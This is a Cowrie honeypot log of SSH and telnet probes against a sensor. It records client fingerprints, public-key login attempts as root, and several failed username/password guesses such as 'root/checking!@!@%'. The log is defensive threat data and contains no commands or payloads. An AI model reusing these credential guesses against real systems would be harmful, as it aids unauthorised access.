{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:13:50.831532Z","src_ip":"38.96.178.216","session":"1630e14c056f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:13:50.838376Z","src_ip":"38.96.178.216","session":"1630e14c056f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"00:30:15:60:bc:41:a7:dd:99:ca:ac:4e:a1:53:b8:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDMCSD3YfhZBQEh+bLpNVFA2pG9EOVMl7vRiLcA+SWL+tWCj+oMPcCvD9z5zhKcH/6G/2w0aq1I+DqLvODNxRKKvsAF+tiBGgVbNMx7qXx2osM7N3mt7W2UiZT/CJWTLwWxUzxl+RkkTRTuDKdQA7jGvUBas89DkKHk4Wm9KJkSoZbKNLgoXkVV0xAQHiPpKdXphKQ74UxtE+M5ChFSkM7VDrOMWWK8CSV8QL4ikWQU+zRmxtk3fcNFAd5AT7rSRg0qZN+Yuuc479Oerau2veLtz8rYILLycDC6/I0bmeQuLmEx3RqGuqceyod8sAkd3Qu426y1ia65eT5QWnnpqXwdskBgqzZrkF1TAbEi+Nn1h3t2W3tZeRRJfK6IuRrV0jFYX9GOC0+gjHfKYeiiwxaea5oXID4udg6NeQwOYZ45I2qS/jECYH640oKbKR84aUQkMJwcgZ0ivBFlJMnRlmy41oICsP9ekTKuJyn3U8m58QU+527xgWVuFlMAtSuqBsrUuH11bHPi/tH7hIQtNq7zOp6lMihFfkfKi4b1GmKfwpxh53hbcZJtD5lQwqM0R6/FyBKHKoTITZg3f968D+HmcTgSugLuAg6wFHcc4LBWSNuqTavzs3Ov+idXhwcxmEM+SgOUVjybAbvQVQRRGP1JNu4t9LUExy6cAHWEYPifpQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 00:30:15:60:bc:41:a7:dd:99:ca:ac:4e:a1:53:b8:2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:13:50.856775Z","src_ip":"38.96.178.216","session":"1630e14c056f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"00:30:15:60:bc:41:a7:dd:99:ca:ac:4e:a1:53:b8:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDMCSD3YfhZBQEh+bLpNVFA2pG9EOVMl7vRiLcA+SWL+tWCj+oMPcCvD9z5zhKcH/6G/2w0aq1I+DqLvODNxRKKvsAF+tiBGgVbNMx7qXx2osM7N3mt7W2UiZT/CJWTLwWxUzxl+RkkTRTuDKdQA7jGvUBas89DkKHk4Wm9KJkSoZbKNLgoXkVV0xAQHiPpKdXphKQ74UxtE+M5ChFSkM7VDrOMWWK8CSV8QL4ikWQU+zRmxtk3fcNFAd5AT7rSRg0qZN+Yuuc479Oerau2veLtz8rYILLycDC6/I0bmeQuLmEx3RqGuqceyod8sAkd3Qu426y1ia65eT5QWnnpqXwdskBgqzZrkF1TAbEi+Nn1h3t2W3tZeRRJfK6IuRrV0jFYX9GOC0+gjHfKYeiiwxaea5oXID4udg6NeQwOYZ45I2qS/jECYH640oKbKR84aUQkMJwcgZ0ivBFlJMnRlmy41oICsP9ekTKuJyn3U8m58QU+527xgWVuFlMAtSuqBsrUuH11bHPi/tH7hIQtNq7zOp6lMihFfkfKi4b1GmKfwpxh53hbcZJtD5lQwqM0R6/FyBKHKoTITZg3f968D+HmcTgSugLuAg6wFHcc4LBWSNuqTavzs3Ov+idXhwcxmEM+SgOUVjybAbvQVQRRGP1JNu4t9LUExy6cAHWEYPifpQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:13:50.859687Z","src_ip":"38.96.178.216","session":"1630e14c056f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3e:3b:35:88:a9:53:06:d0:a0:b5:87:fa:8b:08:ac:c2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6ImxYzKWAYUUvD5waEIyQi9xvl/UhJfwPeJnWdgMvJTXAlwBSL5Hpnf1+7jEEaptGOIpPWyAugNa1NSZ8q8z4hS8T2vFbWt0JFE4DgHRwuqK0D79RK94T8OseMa68tvGXqFINnDqP2xidaOz6h03GqCsEtPxtH83Obc66Z7A4FBf8DFIIWnKWc/Hotp41zjIcpX8pXBAHXHuFlJGasAuN0lyM7OL2vowm2Gle1VASvvLIlu904hqYl1SMbU1gjtzUusdk3WjGORrmn7ztKyYxAq3hNLgO4MOumfPs6renHf9VrKOgfvoeVqwC+QT9JvFfH7xQdHTPbIlc6ijy9XtF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3e:3b:35:88:a9:53:06:d0:a0:b5:87:fa:8b:08:ac:c2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:13:50.867465Z","src_ip":"38.96.178.216","session":"1630e14c056f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3e:3b:35:88:a9:53:06:d0:a0:b5:87:fa:8b:08:ac:c2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6ImxYzKWAYUUvD5waEIyQi9xvl/UhJfwPeJnWdgMvJTXAlwBSL5Hpnf1+7jEEaptGOIpPWyAugNa1NSZ8q8z4hS8T2vFbWt0JFE4DgHRwuqK0D79RK94T8OseMa68tvGXqFINnDqP2xidaOz6h03GqCsEtPxtH83Obc66Z7A4FBf8DFIIWnKWc/Hotp41zjIcpX8pXBAHXHuFlJGasAuN0lyM7OL2vowm2Gle1VASvvLIlu904hqYl1SMbU1gjtzUusdk3WjGORrmn7ztKyYxAq3hNLgO4MOumfPs6renHf9VrKOgfvoeVqwC+QT9JvFfH7xQdHTPbIlc6ijy9XtF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:13:50.872027Z","src_ip":"38.96.178.216","session":"1630e14c056f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"18:90:d1:05:af:cf:02:3e:c5:c4:ee:26:d9:5c:19:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvcjH43BwaufMXzmVTocSHbqigx18O9lix8MSg5OzCmfH32Snv8urGMyw9m9BkXxL0iHSX4deqHPxaH7eqRUyRyzulIY3uRyqNVVQ5VFc0+cGBlw9+vu4fADxXo1magVsJ6jy9g/Y8RrTrIyklTM9CWMbs647TatTPlyc35pjsXlWz2p8WkIlEl3ctaYwBLl6Hdy3dYxI9a7KRSridzYGxa433ai/6fgFG98UB+2F9idWeIu4QBgIz0nNl4V4uxGnJjaBNH12EbDM8Q4hsZySXvilmNjFeQKTuWSnt25NUWDNBPTy31c/TGLMWJwcgeLq2gHyl8xUtHtoAA8M6nGyZQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 18:90:d1:05:af:cf:02:3e:c5:c4:ee:26:d9:5c:19:5f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:13:50.878306Z","src_ip":"38.96.178.216","session":"1630e14c056f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"18:90:d1:05:af:cf:02:3e:c5:c4:ee:26:d9:5c:19:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvcjH43BwaufMXzmVTocSHbqigx18O9lix8MSg5OzCmfH32Snv8urGMyw9m9BkXxL0iHSX4deqHPxaH7eqRUyRyzulIY3uRyqNVVQ5VFc0+cGBlw9+vu4fADxXo1magVsJ6jy9g/Y8RrTrIyklTM9CWMbs647TatTPlyc35pjsXlWz2p8WkIlEl3ctaYwBLl6Hdy3dYxI9a7KRSridzYGxa433ai/6fgFG98UB+2F9idWeIu4QBgIz0nNl4V4uxGnJjaBNH12EbDM8Q4hsZySXvilmNjFeQKTuWSnt25NUWDNBPTy31c/TGLMWJwcgeLq2gHyl8xUtHtoAA8M6nGyZQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:13:50.881703Z","src_ip":"38.96.178.216","session":"1630e14c056f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1d:f8:8f:2d:da:3c:13:76:10:78:15:7a:9b:9a:01:73","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOwJPEhu4th85m9Gd3GKxgfxmk7fENIGVRRBgOMlnFEP","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 1d:f8:8f:2d:da:3c:13:76:10:78:15:7a:9b:9a:01:73","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:13:50.888953Z","src_ip":"38.96.178.216","session":"1630e14c056f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1d:f8:8f:2d:da:3c:13:76:10:78:15:7a:9b:9a:01:73","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOwJPEhu4th85m9Gd3GKxgfxmk7fENIGVRRBgOMlnFEP","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:13:50.892105Z","src_ip":"38.96.178.216","session":"1630e14c056f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b3:ad:62:1c:e6:13:79:08:c2:18:c3:20:7b:40:13:2e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrKISXnmgYTx7xuRqK+MIpSe+KYpSRGx5WtHwJU1qF2vOVKs3oQvY0L2BrgHZfKIHAjai459td2zHVs9ZqjaP3FNEPFapY9p/wWE+rqhCi+FvwyZMq0yymwJjPBw6R4tbNssC1d5BrLEi5UN2Rpf77ESw/acR7sUsVuR+xaXKR6TtvmhAg8Blru1aV9bYXlFpJ3EV2vQYFo0k9Pvk24QbSWc4dqK+w2QU8+/hbmZOxb42ggxvNwWA6iZDlKHfahlHI8Medusk5I3kKJMwQuiVHYmx6XFTaxRU80aJQGDIbVcucgMhprOkUaEMyyydr6331KnkoK7X+aP94c8lzsYal","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b3:ad:62:1c:e6:13:79:08:c2:18:c3:20:7b:40:13:2e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:13:50.901771Z","src_ip":"38.96.178.216","session":"1630e14c056f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b3:ad:62:1c:e6:13:79:08:c2:18:c3:20:7b:40:13:2e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrKISXnmgYTx7xuRqK+MIpSe+KYpSRGx5WtHwJU1qF2vOVKs3oQvY0L2BrgHZfKIHAjai459td2zHVs9ZqjaP3FNEPFapY9p/wWE+rqhCi+FvwyZMq0yymwJjPBw6R4tbNssC1d5BrLEi5UN2Rpf77ESw/acR7sUsVuR+xaXKR6TtvmhAg8Blru1aV9bYXlFpJ3EV2vQYFo0k9Pvk24QbSWc4dqK+w2QU8+/hbmZOxb42ggxvNwWA6iZDlKHfahlHI8Medusk5I3kKJMwQuiVHYmx6XFTaxRU80aJQGDIbVcucgMhprOkUaEMyyydr6331KnkoK7X+aP94c8lzsYal","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:13:50.905399Z","src_ip":"38.96.178.216","session":"1630e14c056f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:13:50.912659Z","src_ip":"38.96.178.216","session":"1630e14c056f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:13:51.581502Z","src_ip":"74.176.205.111","session":"bc17de9fe579","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":38688,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d43b7ebdc25","protocol":"telnet","message":"New connection: 107.6.151.170:38688 (159.203.135.109:23) [session: 5d43b7ebdc25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:14:11.692232Z"}
{"eventid":"cowrie.session.closed","duration":28.12292790412903,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:14:13.713311Z","src_ip":"170.64.224.25","session":"15ef9bbaf5b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":35860,"dst_ip":"159.203.135.109","dst_port":23,"session":"77d92df5f04c","protocol":"telnet","message":"New connection: 107.6.151.170:35860 (159.203.135.109:23) [session: 77d92df5f04c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:14:23.124631Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":36928,"dst_ip":"159.203.135.109","dst_port":23,"session":"878551778350","protocol":"telnet","message":"New connection: 107.6.151.170:36928 (159.203.135.109:23) [session: 878551778350]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:14:36.586862Z"}
{"eventid":"cowrie.session.closed","duration":0.00452733039855957,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:14:36.591240Z","src_ip":"107.6.151.170","session":"878551778350","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":57082,"dst_ip":"159.203.135.109","dst_port":23,"session":"4aa5b152c5b3","protocol":"telnet","message":"New connection: 170.64.224.25:57082 (159.203.135.109:23) [session: 4aa5b152c5b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:14:45.390313Z"}
{"eventid":"cowrie.session.closed","duration":33.976974964141846,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:14:45.669053Z","src_ip":"107.6.151.170","session":"5d43b7ebdc25","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.00830841064453,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:14:55.132835Z","src_ip":"107.6.151.170","session":"77d92df5f04c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.55.144.22","src_port":36374,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab1471965fd5","protocol":"ssh","message":"New connection: 14.55.144.22:36374 (10.17.0.5:22) [session: ab1471965fd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:15:00.209309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:15:00.213456Z","src_ip":"14.55.144.22","session":"ab1471965fd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:15:00.423282Z","src_ip":"14.55.144.22","session":"ab1471965fd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"qwe123","message":"login attempt [alex/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:15:01.285280Z","src_ip":"14.55.144.22","session":"ab1471965fd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:15:02.499091Z","src_ip":"14.55.144.22","session":"ab1471965fd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":51178,"dst_ip":"159.203.135.109","dst_port":22,"session":"203edcabe23c","protocol":"ssh","message":"New connection: 51.250.105.222:51178 (159.203.135.109:22) [session: 203edcabe23c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:15:04.918355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:15:04.921961Z","src_ip":"51.250.105.222","session":"203edcabe23c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:15:05.048214Z","src_ip":"51.250.105.222","session":"203edcabe23c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:15:05.427423Z","src_ip":"51.250.105.222","session":"203edcabe23c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":56320,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd313ca5e939","protocol":"telnet","message":"New connection: 137.184.5.188:56320 (159.203.135.109:23) [session: bd313ca5e939]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:15:05.791451Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:15:06.555606Z","src_ip":"51.250.105.222","session":"203edcabe23c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.108.61","src_port":54138,"dst_ip":"10.17.0.5","dst_port":22,"session":"0bd62d558698","protocol":"ssh","message":"New connection: 144.91.108.61:54138 (10.17.0.5:22) [session: 0bd62d558698]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:15:10.902181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:15:10.909418Z","src_ip":"144.91.108.61","session":"0bd62d558698","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:15:11.004110Z","src_ip":"144.91.108.61","session":"0bd62d558698","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gigachad","password":"gigachad123","message":"login attempt [gigachad/gigachad123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:15:11.293628Z","src_ip":"144.91.108.61","session":"0bd62d558698","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:15:12.391067Z","src_ip":"144.91.108.61","session":"0bd62d558698","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.606675148010254,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:15:18.996849Z","src_ip":"170.64.224.25","session":"4aa5b152c5b3","protocol":"telnet"}
